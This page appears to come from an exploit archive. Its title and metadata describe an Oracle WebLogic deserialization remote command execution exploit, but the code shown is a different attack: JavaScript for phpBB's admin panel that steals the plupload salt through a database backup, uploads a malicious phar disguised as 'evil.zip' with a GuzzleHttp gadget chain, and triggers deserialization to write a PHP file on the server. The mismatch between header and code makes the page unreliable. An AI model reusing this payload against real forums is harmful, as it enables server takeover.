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Oracle Weblogic Server Deserialization Remote Command Execution

Oracle Weblogic Server Deserialization Remote Command Execution
Posted Mar 7, 2019
Authored by Allyshka

Oracle Weblogic Server deserialization remote command execution exploit with patch bypass.

tags | exploit, remote
advisories | CVE-2018-2628, CVE-2018-3245
MD5 | 3550463dbd175f8b7fc81820ea8d90f9

Oracle Weblogic Server Deserialization Remote Command Execution

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// All greets goes to RIPS Tech
// Run this JS on Attachment Settings ACP page
var plupload_salt = '';
var form_token = '';
var creation_time = '';
var filepath = 'phar://./../files/plupload/$salt_aaae9cba5fdadb1f0c384934cd20d11czip.part'; // md5('evil.zip') = aaae9cba5fdadb1f0c384934cd20d11czip
// your payload here
var payload = '<?php __HALT_COMPILER(); ?>\x0d\x0a\xfe\x01\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\x01'+'\x00'.repeat(5)+'\xc8\x01\x00\x00O:31:"GuzzleHttp\x5cCookie\x5cFileCookieJar":4:{s:41:"\x00GuzzleHttp\x5cCookie\x5cFileCookieJar\x00filename";s:30:"/var/www/html/phpBB3/pinfo.php";s:52:"\x00GuzzleHttp\x5cCookie\x5cFileCookieJar\x00storeSessionCookies";b:1;s:36:"\x00GuzzleHttp\x5cCookie\x5cCookieJar\x00cookies";a:1:{i:0;O:27:"GuzzleHttp\x5cCookie\x5cSetCookie":1:{s:33:"\x00GuzzleHttp\x5cCookie\x5cSetCookie\x00data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:17:"<?php phpinfo();#";}}}s:39:"\x00GuzzleHttp\x5cCookie\x5cCookieJar\x00strictMode";N;}\x08\x00\x00\x00test.txt\x04\x00\x00\x00K>\x10\x5c\x04\x00\x00\x00\x0c~\x7f\xd8\xb6\x01'+'\x00'.repeat(6)+'test\xa0\x17\xd2\xe0R\xcf \xf6T\x1d\x01X\x91(\x9dD]X\x0b>\x02\x00\x00\x00GBMB';
var byteArray = Uint8Array.from(payload, function(c){return c.codePointAt(0);});
var sid = (new URL(document.location.href)).searchParams.get('sid');
var url = '/adm/index.php';
var getparams = {
'i': 'acp_database',
'sid': sid,
'mode': 'backup'
};
$.get(url, getparams, function(data) {
form_token = $(data).find('[name="form_token"]').val();
creation_time = $(data).find('[name="creation_time"]').val();
if(form_token && creation_time) {
var posturl = '/adm/index.php?i=acp_database&sid=|&mode=backup&action=download';
var postdata = {
'type': 'data',
'method': 'text',
'where': 'download',
'table[]': 'phpbb_config',
'submit': 'Submit',
'creation_time': creation_time,
'form_token': form_token
}
$.post(posturl.replace("|", sid), postdata, function (data) {
plupload_salt = data.match(/plupload_salt',\s*'(\w{32})/)[1];
if (plupload_salt) {
filepath = filepath.replace("$salt", plupload_salt);
var postdata = new FormData();
postdata.append('name', 'evil.zip');
postdata.append('chunk', 0);
postdata.append('chunks', 2);
postdata.append('add_file', 'Add the file');
postdata.append('real_filename', 'evil.zip');
// file
var pharfile = new File([byteArray], 'evil.zip');
postdata.append('fileupload', pharfile);
jQuery.ajax({
url: '/posting.php?mode=reply&f=2&t=1',
data: postdata,
cache: false,
contentType: false,
processData: false,
method: 'POST',
success: function(data){
if ("id" in data) {
$('#img_imagick').val(filepath).focus();
$('html, body').animate({
scrollTop: ($('#submit').offset().top)
}, 500);
}
}
});

}
}, 'text');
}
});

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